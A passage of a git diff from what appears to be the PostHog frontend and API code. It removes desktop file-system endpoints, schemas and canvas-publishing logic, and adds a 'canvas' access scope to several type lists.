`/api/projects/${projectId}/desktop_file_system_shortcut/${id}/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutUpdate = async ( - projectId: string, - id: string, - fileSystemShortcutApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutUpdateUrl(projectId, id), { - ...options, - method: 'PUT', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemShortcutApi), - }) -} - -export const getDesktopFileSystemShortcutPartialUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system_shortcut/${id}/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutPartialUpdate = async ( - projectId: string, - id: string, - patchedFileSystemShortcutApi?: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutPartialUpdateUrl(projectId, id), { - ...options, - method: 'PATCH', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(patchedFileSystemShortcutApi), - }) -} - -export const getDesktopFileSystemShortcutDestroyUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system_shortcut/${id}/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutDestroy = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutDestroyUrl(projectId, id), { - ...options, - method: 'DELETE', - }) -} - -export const getDesktopFileSystemShortcutReorderCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system_shortcut/reorder/` -} - -/** - * Set the display order of the current user's shortcuts. `ordered_ids` becomes the new top-to-bottom order; any unknown IDs are rejected. - */ -export const desktopFileSystemShortcutReorderCreate = async ( - projectId: string, - fileSystemShortcutReorderApi: FileSystemShortcutReorderApi, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutReorderCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemShortcutReorderApi), - }) -} - export const getExportsListUrl = (projectId: string, params?: ExportsListParams) => { const normalizedParams = new URLSearchParams() diff --git a/frontend/src/generated/core/api.zod.ts b/frontend/src/generated/core/api.zod.ts index d3d9af444968..1ac0e2625634 100644 --- a/frontend/src/generated/core/api.zod.ts +++ b/frontend/src/generated/core/api.zod.ts @@ -9015,361 +9015,6 @@ export const DashboardsSharingRefreshCreateBody = /* @__PURE__ */ zod }) .describe('Mixin for serializers to add user access control fields') -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemCreateBodyTypeMax = 100 - -export const desktopFileSystemCreateBodyRefMax = 100 - -export const DesktopFileSystemCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemUpdateBodyTypeMax = 100 - -export const desktopFileSystemUpdateBodyRefMax = 100 - -export const DesktopFileSystemUpdateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemUpdateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemUpdateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemPartialUpdateBodyTypeMax = 100 - -export const desktopFileSystemPartialUpdateBodyRefMax = 100 - -export const DesktopFileSystemPartialUpdateBody = /* @__PURE__ */ zod.object({ - path: zod.string().optional(), - type: zod.string().max(desktopFileSystemPartialUpdateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemPartialUpdateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * Publish a new version of a freeform canvas's React source. - * - * Merges into the dashboard row's `meta` (never replaces it), so existing - * keys like `channelId`/`templateId` survive. Appends a full-file version - * snapshot and points `currentVersionId` at it — the server-side mirror of - * the app's dashboardsService.saveFreeform, including the linear-discard of - * any redo tail left behind by an undo. When the publisher passes - * `expected_current_version_id`, a publish based on a stale version is - * rejected with 409 `version_conflict` instead of overwriting the newer head. - */ -export const DesktopFileSystemCanvasPartialUpdateBody = /* @__PURE__ */ zod - .object({ - code: zod.string().optional().describe('The complete single-file React source for the canvas.'), - prompt: zod - .string() - .optional() - .describe('Short description of the change, stored on the appended version history entry.'), - name: zod - .string() - .optional() - .describe('Optional new display name for the canvas (rewrites the leaf segment of its path).'), - expected_current_version_id: zod - .string() - .nullish() - .describe( - "Optimistic-concurrency guard: the currentVersionId the publisher based its edits on (null when it read a canvas with no versions yet). When provided and the canvas has since moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded." - ), - }) - .describe("Payload for publishing a freeform canvas's React source via the agent.") - -/** - * Set or clear the Task associated with this folder's CONTEXT.md generation. - */ -export const DesktopFileSystemContextGenerationUpdateBody = /* @__PURE__ */ zod.object({ - task_id: zod - .uuid() - .nullable() - .describe( - "ID of the Task generating this folder's CONTEXT.md. Must reference a Task in the same team. Set to null to clear the association." - ), -}) - -/** - * Get count of all files in a folder. - */ -export const desktopFileSystemCountCreateBodyTypeMax = 100 - -export const desktopFileSystemCountCreateBodyRefMax = 100 - -export const DesktopFileSystemCountCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemCountCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemCountCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * Publish a new version of the folder's instructions. - */ -export const desktopFileSystemInstructionsUpdateBodyBaseVersionMin = 0 - -export const DesktopFileSystemInstructionsUpdateBody = /* @__PURE__ */ zod.object({ - content: zod.string().describe('Full markdown instructions to publish as a new version for the folder.'), - base_version: zod - .number() - .min(desktopFileSystemInstructionsUpdateBodyBaseVersionMin) - .optional() - .describe( - "Latest version you are editing from, for optimistic concurrency. If provided and the folder's instructions have changed since, the request fails with 409. Use 0 when no instructions exist yet." - ), -}) - -/** - * Publish a new version of the folder's instructions. - */ -export const desktopFileSystemInstructionsPartialUpdateBodyBaseVersionMin = 0 - -export const DesktopFileSystemInstructionsPartialUpdateBody = /* @__PURE__ */ zod.object({ - content: zod.string().optional().describe('Full markdown instructions to publish as a new version for the folder.'), - base_version: zod - .number() - .min(desktopFileSystemInstructionsPartialUpdateBodyBaseVersionMin) - .optional() - .describe( - "Latest version you are editing from, for optimistic concurrency. If provided and the folder's instructions have changed since, the request fails with 409. Use 0 when no instructions exist yet." - ), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemLinkCreateBodyTypeMax = 100 - -export const desktopFileSystemLinkCreateBodyRefMax = 100 - -export const DesktopFileSystemLinkCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemLinkCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemLinkCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemMoveCreateBodyTypeMax = 100 - -export const desktopFileSystemMoveCreateBodyRefMax = 100 - -export const DesktopFileSystemMoveCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemMoveCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemMoveCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * Get count of all files in a folder. - */ -export const desktopFileSystemCountByPathCreateBodyTypeMax = 100 - -export const desktopFileSystemCountByPathCreateBodyRefMax = 100 - -export const DesktopFileSystemCountByPathCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemCountByPathCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemCountByPathCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemLogViewCreateBodyTypeMax = 100 - -export const desktopFileSystemLogViewCreateBodyRefMax = 100 - -export const DesktopFileSystemLogViewCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemLogViewCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemLogViewCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemUndoDeleteCreateBodyTypeMax = 100 - -export const desktopFileSystemUndoDeleteCreateBodyRefMax = 100 - -export const DesktopFileSystemUndoDeleteCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string(), - type: zod.string().max(desktopFileSystemUndoDeleteCreateBodyTypeMax).optional(), - ref: zod.string().max(desktopFileSystemUndoDeleteCreateBodyRefMax).nullish(), - href: zod.string().nullish(), - meta: zod.unknown().optional(), - shortcut: zod.boolean().nullish(), -}) - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutCreateBodyTypeMax = 100 - -export const desktopFileSystemShortcutCreateBodyRefMax = 100 - -export const desktopFileSystemShortcutCreateBodyOrderMin = -2147483648 -export const desktopFileSystemShortcutCreateBodyOrderMax = 2147483647 - -export const DesktopFileSystemShortcutCreateBody = /* @__PURE__ */ zod.object({ - path: zod.string().describe('Display path of the shortcut in the sidebar.'), - type: zod - .string() - .max(desktopFileSystemShortcutCreateBodyTypeMax) - .optional() - .describe("Type of the linked item (e.g. 'folder', 'insight'), or blank."), - ref: zod - .string() - .max(desktopFileSystemShortcutCreateBodyRefMax) - .nullish() - .describe('Reference to the linked item, scoped to its type. Null for href-only shortcuts.'), - href: zod - .string() - .nullish() - .describe('Destination URL the shortcut opens. Null when the shortcut points at an item by ref.'), - order: zod - .number() - .min(desktopFileSystemShortcutCreateBodyOrderMin) - .max(desktopFileSystemShortcutCreateBodyOrderMax) - .optional() - .describe("Display order within the user's shortcut list, ascending."), -}) - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutUpdateBodyTypeMax = 100 - -export const desktopFileSystemShortcutUpdateBodyRefMax = 100 - -export const desktopFileSystemShortcutUpdateBodyOrderMin = -2147483648 -export const desktopFileSystemShortcutUpdateBodyOrderMax = 2147483647 - -export const DesktopFileSystemShortcutUpdateBody = /* @__PURE__ */ zod.object({ - path: zod.string().describe('Display path of the shortcut in the sidebar.'), - type: zod - .string() - .max(desktopFileSystemShortcutUpdateBodyTypeMax) - .optional() - .describe("Type of the linked item (e.g. 'folder', 'insight'), or blank."), - ref: zod - .string() - .max(desktopFileSystemShortcutUpdateBodyRefMax) - .nullish() - .describe('Reference to the linked item, scoped to its type. Null for href-only shortcuts.'), - href: zod - .string() - .nullish() - .describe('Destination URL the shortcut opens. Null when the shortcut points at an item by ref.'), - order: zod - .number() - .min(desktopFileSystemShortcutUpdateBodyOrderMin) - .max(desktopFileSystemShortcutUpdateBodyOrderMax) - .optional() - .describe("Display order within the user's shortcut list, ascending."), -}) - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutPartialUpdateBodyTypeMax = 100 - -export const desktopFileSystemShortcutPartialUpdateBodyRefMax = 100 - -export const desktopFileSystemShortcutPartialUpdateBodyOrderMin = -2147483648 -export const desktopFileSystemShortcutPartialUpdateBodyOrderMax = 2147483647 - -export const DesktopFileSystemShortcutPartialUpdateBody = /* @__PURE__ */ zod.object({ - path: zod.string().optional().describe('Display path of the shortcut in the sidebar.'), - type: zod - .string() - .max(desktopFileSystemShortcutPartialUpdateBodyTypeMax) - .optional() - .describe("Type of the linked item (e.g. 'folder', 'insight'), or blank."), - ref: zod - .string() - .max(desktopFileSystemShortcutPartialUpdateBodyRefMax) - .nullish() - .describe('Reference to the linked item, scoped to its type. Null for href-only shortcuts.'), - href: zod - .string() - .nullish() - .describe('Destination URL the shortcut opens. Null when the shortcut points at an item by ref.'), - order: zod - .number() - .min(desktopFileSystemShortcutPartialUpdateBodyOrderMin) - .max(desktopFileSystemShortcutPartialUpdateBodyOrderMax) - .optional() - .describe("Display order within the user's shortcut list, ascending."), -}) - -/** - * Set the display order of the current user's shortcuts. `ordered_ids` becomes the new top-to-bottom order; any unknown IDs are rejected. - */ -export const DesktopFileSystemShortcutReorderCreateBody = /* @__PURE__ */ zod.object({ - ordered_ids: zod.array(zod.uuid()).describe("IDs of the current user's shortcuts in the desired display order."), -}) - export const ExportsCreateBody = /* @__PURE__ */ zod .object({ dashboard: zod.number().nullish(), diff --git a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/accessControlsLogic.ts b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/accessControlsLogic.ts index 9009fd804345..e36023a559c2 100644 --- a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/accessControlsLogic.ts +++ b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/accessControlsLogic.ts @@ -317,6 +317,7 @@ export interface accessControlsLogicActions { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -456,6 +457,7 @@ export interface accessControlsLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -599,6 +601,7 @@ export interface accessControlsLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -715,6 +718,7 @@ export interface accessControlsLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' diff --git a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/groupedAccessControlRuleModalLogic.ts b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/groupedAccessControlRuleModalLogic.ts index ee92f4878888..f869a8d03cad 100644 --- a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/groupedAccessControlRuleModalLogic.ts +++ b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/ResourceAccessControlsV2/groupedAccessControlRuleModalLogic.ts @@ -33,6 +33,7 @@ export interface groupedAccessControlRuleModalLogicValues { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -153,6 +154,7 @@ export interface groupedAccessControlRuleModalLogicValues { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -265,6 +267,7 @@ export interface groupedAccessControlRuleModalLogicValues { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -390,6 +393,7 @@ export interface groupedAccessControlRuleModalLogicValues { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -520,6 +524,7 @@ export interface groupedAccessControlRuleModalLogicActions { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -652,6 +657,7 @@ export interface groupedAccessControlRuleModalLogicActions { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -764,6 +770,7 @@ export interface groupedAccessControlRuleModalLogicActions { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -915,6 +922,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1029,6 +1037,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1142,6 +1151,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1255,6 +1265,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1369,6 +1380,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1482,6 +1494,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1606,6 +1619,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -1719,6 +1733,7 @@ export interface groupedAccessControlRuleModalLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' diff --git a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/accessControlLogic.ts b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/accessControlLogic.ts index 07eb08065e8f..f0cd280b0e2b 100644 --- a/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/accessControlLogic.ts +++ b/frontend/src/layout/navigation-3000/sidepanel/panels/access_control/accessControlLogic.ts @@ -319,6 +319,7 @@ export interface accessControlLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -535,6 +536,7 @@ export interface accessControlLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' @@ -648,6 +650,7 @@ export interface accessControlLogicMeta { | 'batch_import' | 'batch_import_support' | 'business_knowledge' + | 'canvas' | 'clickhouse_test_cluster_perf' | 'cohort' | 'comment' diff --git a/frontend/src/lib/agentScopes.generated.ts b/frontend/src/lib/agentScopes.generated.ts index b7a7f9401e16..162225b28e30 100644 --- a/frontend/src/lib/agentScopes.generated.ts +++ b/frontend/src/lib/agentScopes.generated.ts @@ -22,6 +22,8 @@ export const AGENT_USE_CASE_SCOPES = [ 'batch_export:write', 'business_knowledge:read', 'business_knowledge:write', + 'canvas:read', + 'canvas:write', 'cohort:read', 'cohort:write', 'comment:read', @@ -56,8 +58,6 @@ export const AGENT_USE_CASE_SCOPES = [ 'external_data_source:write', 'feature_flag:read', 'feature_flag:write', - 'file_system:read', - 'file_system:write', 'group:read', 'health_issue:read', 'heatmap:read', diff --git a/frontend/src/lib/scopes.tsx b/frontend/src/lib/scopes.tsx index 1b8971556d4a..9135a42e62a4 100644 --- a/frontend/src/lib/scopes.tsx +++ b/frontend/src/lib/scopes.tsx @@ -37,6 +37,7 @@ export const API_SCOPES: APIScope[] = [ { key: 'approvals', objectName: 'Approvals', objectPlural: 'approvals' }, { key: 'batch_export', objectName: 'Batch export', objectPlural: 'batch exports' }, { key: 'business_knowledge', objectName: 'Business knowledge', objectPlural: 'business knowledge' }, + { key: 'canvas', objectName: 'Canvas', objectPlural: 'canvases' }, { key: 'cohort', objectName: 'Cohort', objectPlural: 'cohorts' }, { key: 'comment', objectName: 'Comment', objectPlural: 'comments' }, { diff --git a/frontend/src/types.ts b/frontend/src/types.ts index fae4f1536c37..ea9a7b346dc5 100644 --- a/frontend/src/types.ts +++ b/frontend/src/types.ts @@ -5736,6 +5736,7 @@ export const API_SCOPE_OBJECTS = [ 'batch_import', 'batch_import_support', 'business_knowledge', + 'canvas', 'clickhouse_test_cluster_perf', 'cohort', 'comment', diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 28f6315fd10c..c7f60bd22f2d 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -2513,6 +2513,8 @@ importers: specifier: 18.3.1 version: 18.3.1 + products/canvas: {} + products/cdp: {} products/cohorts: diff --git a/posthog/api/file_system/file_system.py b/posthog/api/file_system/file_system.py index 99eb9a518392..ece7791a5bd2 100644 --- a/posthog/api/file_system/file_system.py +++ b/posthog/api/file_system/file_system.py @@ -1,16 +1,13 @@ import re -import time import shlex import builtins from typing import Any, cast -from uuid import UUID, uuid4 -from django.conf import settings from django.db import transaction from django.db.models import Case, F, IntegerField, Q, QuerySet, Value, When from django.db.models.functions import Concat, Lower -from drf_spectacular.utils import OpenApiResponse, extend_schema +from drf_spectacular.utils import extend_schema from rest_framework import filters, pagination, serializers, status, viewsets from rest_framework.request import Request from rest_framework.response import Response @@ -23,32 +20,9 @@ undo_delete as undo_delete_object, ) from posthog.api.file_system.file_system_logging import log_api_file_system_view -from posthog.api.file_system.folder_context_generation import ( - ContextGenerationSerializer, - ContextGenerationSetSerializer, -) -from posthog.api.file_system.folder_context_generation_service import ( - get_context_generation_task_id, - set_context_generation_task_id, -) -from posthog.api.file_system.folder_instructions import ( - FolderInstructionsPublishSerializer, - FolderInstructionsSerializer, - FolderInstructionsVersionSerializer, -) -from posthog.api.file_system.folder_instructions_service import ( - FolderInstructionsVersionConflictError, - FolderInstructionsVersionLimitError, - delete_folder_instructions, - ensure_blank_folder_instructions, - get_folder_instructions_versions, - get_latest_folder_instructions, - publish_folder_instructions, -) from posthog.api.routing import TeamAndOrgViewSetMixin from posthog.api.shared import UserBasicSerializer from posthog.api.utils import action -from posthog.auth import OAuthAccessTokenAuthentication from posthog.decorators import disallow_if_impersonated from posthog.models.file_system.file_system import ( DEFAULT_SURFACE, @@ -63,11 +37,8 @@ from posthog.models.file_system.unfiled_file_saver import save_unfiled_files from posthog.models.team import Team from posthog.models.user import User -from posthog.temporal.oauth import SANDBOX_OAUTH_APP_CLIENT_IDS from posthog.utils import str_to_bool -from products.tasks.backend.facade import api as tasks_facade - DELETE_PREVIEW_ENTRY_LIMIT = 200 # Search-within-Recents scans this many of the user's most-recent views, then the text filter trims @@ -205,7 +176,7 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): filter_backends = [filters.SearchFilter] pagination_class = FileSystemsLimitOffsetPagination # Product surface this tree serves. Subclass and override to expose a different surface - # (e.g. "desktop") on its own route. The default surface also matches legacy NULL rows. + # on its own route. The default surface also matches legacy NULL rows. file_system_surface: str = DEFAULT_SURFACE # GET /instructions/ and /instructions/versions/ are reads; PUT/PATCH/DELETE on # /instructions/ resolve to `publish_instructions` / `delete_instructions` via DRF's @@ -213,12 +184,9 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): scope_object_read_actions = [ "list", "retrieve", - "instructions", - "instructions_versions", "unfiled", "count", "count_by_path", - "context_generation", ] scope_object_write_actions = [ "create", @@ -226,14 +194,10 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): "partial_update", "patch", "destroy", - "publish_instructions", - "delete_instructions", "move", "link", "log_view", "undo_delete", - "set_context_generation", - "publish_canvas", ] def _basename_regex(self, value: str) -> str: @@ -527,16 +491,6 @@ def _list_recents(self, request: Request, *, descending: bool) -> Response: } ) - def _allow_delete_without_ref(self, entry: FileSystem) -> bool: - """Whether a registered-type row with no ref may be deleted as a bare row. - - On the web surface every registered row references a real object, so a - ref-less row is a data-integrity error we refuse to delete. Surfaces where - registered types can legitimately be ref-less (desktop canvases store their - source in `meta`, not a backing Dashboard) override this to allow it. - """ - return False - def _ensure_can_delete(self, entry: FileSystem) -> None: stack: list[FileSystem] = [entry] seen: set[str] = set() @@ -577,7 +531,8 @@ def _ensure_can_delete(self, entry: FileSystem) -> None: if not is_file_system_type_registered(current.type): continue - if remaining == 0 and not current.ref and not self._allow_delete_without_ref(current): + if remaining == 0 and not current.ref: + # A registered-type row with no ref is a data-integrity error we refuse to delete. raise serializers.ValidationError( {"detail": f"Cannot delete type '{current.type}' without a reference."} ) @@ -615,9 +570,6 @@ def _delete_file_system_entry(self, entry: FileSystem) -> builtins.list[dict[str return deleted_objects if not entry.ref: - if self._allow_delete_without_ref(entry): - entry.delete() - return deleted_objects raise serializers.ValidationError({"detail": f"Cannot delete type '{entry.type}' without a reference."}) entry_path = entry.path @@ -1029,387 +981,3 @@ def _retroactively_fix_folders_and_depth(self, user: User) -> None: if items_to_update: for item in items_to_update: item.save() - - -class CanvasPublishSerializer(serializers.Serializer): - """Payload for publishing a freeform canvas's React source via the agent.""" - - code = serializers.CharField( - allow_blank=True, - trim_whitespace=False, - help_text="The complete single-file React source for the canvas.", - ) - prompt = serializers.CharField( - required=False, - allow_blank=True, - trim_whitespace=False, - help_text="Short description of the change, stored on the appended version history entry.", - ) - name = serializers.CharField( - required=False, - allow_blank=False, - trim_whitespace=True, - help_text="Optional new display name for the canvas (rewrites the leaf segment of its path).", - ) - expected_current_version_id = serializers.CharField( - required=False, - allow_null=True, - allow_blank=False, - help_text=( - "Optimistic-concurrency guard: the currentVersionId the publisher based its edits on " - "(null when it read a canvas with no versions yet). When provided and the canvas has since " - "moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 " - "version_conflict instead of overwriting the newer head. Omit to publish unguarded." - ), - ) - - -class CanvasPublishConflictSerializer(serializers.Serializer): - """409 body for a guarded canvas publish based on a stale version.""" - - detail = serializers.CharField(help_text="Human-readable description of the conflict and how to recover.") - code = serializers.CharField(help_text='Always "version_conflict".') - current_version_id = serializers.CharField( - allow_null=True, - help_text="The canvas's live currentVersionId at rejection time (null when the canvas has no versions).", - ) - - -@extend_schema(extensions={"x-product": "core"}) -class DesktopFileSystemViewSet(FileSystemViewSet): - """ - The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - - Adds per-folder, versioned markdown instructions describing the contents of a folder. - """ - - file_system_surface = "desktop" - - def _scope_by_project(self, queryset: QuerySet) -> QuerySet: - queryset = super()._scope_by_project(queryset) - # Personal-space rows share the same path across users, so their creator - # is the ownership boundary even when project-level access is shared. - is_personal_space = Q(path="me") | Q(path__startswith="me/") - return queryset.filter(~is_personal_space | Q(created_by=self.request.user)) - - def _allow_delete_without_ref(self, entry: FileSystem) -> bool: - # Desktop canvases are `dashboard`-typed rows whose source lives in `meta`, - # not a backing Dashboard, so they legitimately have no ref. Delete the bare - # row (nothing to cascade to) rather than refusing. Scope this to `dashboard` - # only — any other registered type with no ref is still a data-integrity - # error we refuse to delete, even on the desktop surface. - return entry.type == "dashboard" - - def perform_create(self, serializer: serializers.BaseSerializer) -> None: - super().perform_create(serializer) - instance = cast(FileSystem, serializer.instance) - self._ensure_blank_instructions_for_created_path(instance) - - def _ensure_blank_instructions_for_created_path(self, instance: FileSystem) -> None: - 